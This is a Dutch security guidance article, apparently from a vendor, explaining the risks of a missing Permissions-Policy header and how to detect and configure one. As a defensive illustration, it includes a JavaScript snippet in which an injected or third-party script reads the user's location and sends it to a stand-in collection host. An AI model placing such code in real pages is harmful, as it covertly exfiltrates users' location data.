Ontbrekend Permissions-Policy

Browsers kunnen tegenwoordig veel meer dan pagina’s tonen: ze bedienen camera’s, microfoons, bewegingssensoren en betaalverzoeken. Elke pagina mag die functies in beginsel aanspreken, en dat geldt ook voor scripts en frames van derden die u insluit. Met een Permissions-Policy legt u vast welke van die mogelijkheden uw applicatie werkelijk nodig heeft. Hieronder leest u hoe dat werkt en waarom het meer is dan een privacymaatregel.

Wat is een Permissions-Policy?

De Permissions-Policy is een HTTP-header waarmee de server aangeeft welke browserfuncties beschikbaar zijn binnen een pagina en binnen de frames die daarin worden geladen. Denk aan camera, microfoon, geolocatie, toegang tot bewegingssensoren, het betaalverzoek-mechanisme en schermvergrendeling. Wat u niet toestaat, bestaat voor die pagina eenvoudigweg niet.

De vergelijking met een sleutelplan van een gebouw ligt voor de hand. Een bezoekerspas geeft toegang tot de ruimtes die iemand nodig heeft, niet tot de serverruimte en het archief. Niet omdat elke bezoeker verdacht is, maar omdat toegang die niemand nodig heeft alleen maar risico toevoegt. Zo werkt deze header ook: u geeft uw applicatie precies de mogelijkheden die ze gebruikt.

Anders dan bij de toestemmingsvraag van de browser gaat het hier niet om de keuze van de gebruiker. Het beleid werkt een niveau daarvoor: de functie is niet beschikbaar, dus de vraag wordt nooit gesteld, ook niet aan een gebruiker die ooit al eens toestemming gaf.

Hoe werkt een Permissions-Policy?

Het verschil wordt zichtbaar zodra er code in uw pagina draait die u niet zelf hebt geschreven: een ingesloten widget, een advertentieframe of scriptcode die via een injectie is binnengekomen.

Kwetsbaar:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Zonder beleid gelden de standaardinstellingen van de browser, en die staan voor de meeste functies toe dat de pagina ze gebruikt. Een ingesloten component kan dan het volgende doen:

// In een script van derden, of via een injectie in de pagina beland
navigator.geolocation.getCurrentPosition((pos) => {
  fetch('https://verzamel.example/loc', {
    method: 'POST',
    body: JSON.stringify({ lat: pos.coords.latitude, lon: pos.coords.longitude }),
  });
});

De gebruiker krijgt een toestemmingsvraag te zien die afkomstig lijkt van uw site, want die staat in de adresbalk. Heeft hij eerder toestemming gegeven voor locatie, dan verschijnt zelfs die vraag niet meer en vertrekken de coördinaten direct.

Veilig:

HTTP/1.1 200 OK
Permissions-Policy: camera=(), microphone=(), geolocation=(self),
  payment=(), usb=(), magnetometer=(), accelerometer=(), gyroscope=(),
  fullscreen=(self), interest-cohort=()

De lege haakjes betekenen: niemand, ook uw eigen pagina niet. Camera, microfoon en betaalverzoeken zijn daarmee volledig uitgeschakeld. Voor geolocation staat (self), wat betekent dat alleen uw eigen pagina die functie mag aanspreken en een ingesloten frame van een derde partij niet. Het bovenstaande script faalt nu al bij de aanroep; er is geen toestemmingsvraag en er is niets om toe te staan.

Voor een specifieke uitzondering benoemt u de bron expliciet:

Permissions-Policy: camera=(self "https://videobellen.partner.example")

Wat is de impact van een ontbrekend Permissions-Policy?

Dit is een hardeningbevinding met een lage ernst: het ontbreken van de header maakt geen aanval mogelijk die anders onmogelijk was. De waarde ligt in schadebeperking.

Slaagt een aanvaller erin scriptcode in uw pagina te krijgen, dan bepaalt dit beleid mede wat hij daarmee kan. Zonder beperking komen camera, microfoon en locatie binnen bereik van die code, met een toestemmingsvraag die de naam van úw organisatie draagt, en die veel gebruikers zullen accepteren juist omdat ze uw site vertrouwen. Datzelfde geldt voor ingesloten componenten van derden, die op deze manier gegevens kunnen verzamelen die u nooit had willen delen.

Daarnaast is er een concrete privacy- en compliancekant. Onder de AVG bent u verantwoordelijk voor wat er via uw website gebeurt, ook wanneer een ingesloten script van een leverancier locatiegegevens opvraagt. Een expliciet beleid is dan zowel een technische maatregel als een aantoonbare beheersing van dat risico.

Hoe spoor je een ontbrekend Permissions-Policy op?

Naast het simpelweg controleren of de header aanwezig is, gaat het om de volledigheid ervan. Een beleid dat alleen camera en microphone noemt, laat tientallen andere functies op hun standaardwaarde staan.

Een tester inventariseert daarom welke functies de applicatie werkelijk gebruikt en vergelijkt dat met wat het beleid toestaat. Verder wordt gekeken naar de frames: krijgt een ingesloten component meer rechten dan nodig, bijvoorbeeld omdat het beleid * gebruikt in plaats van een expliciete bron? Ook wordt gecontroleerd of het beleid op alle routes wordt gezet en of het allow-attribuut op iframe-elementen niet alsnog ruimere rechten teruggeeft. AssistSec neemt deze header mee in de bredere beoordeling van uw HTTP-configuratie, waarbij de samenhang met de CSP en de framebescherming leidend is, losse headers zeggen minder dan het geheel.

Hoe voorkom je een ontbrekend Permissions-Policy?

• Stuur een Permissions-Policy mee op elk HTTP-antwoord, centraal geregeld in webserver, proxy of middleware.
• Werk vanuit een expliciete lijst: benoem elke functie die u wilt beperken, want niet-genoemde functies vallen terug op de browserstandaard.
• Schakel functies die u niet gebruikt volledig uit met lege haakjes, bijvoorbeeld camera=(), microphone=(), payment=().
• Beperk functies die u wél nodig hebt tot (self), zodat ingesloten frames van derden er niet bij kunnen.
• Benoem uitzonderingen met de volledige herkomst en gebruik nooit een jokerteken.
• Stem het beleid af op het allow-attribuut van uw iframe-elementen; die twee moeten elkaar niet tegenspreken.
• Herzie het beleid wanneer u nieuwe functionaliteit toevoegt, zodat het niet stilzwijgend te ruim of te streng wordt.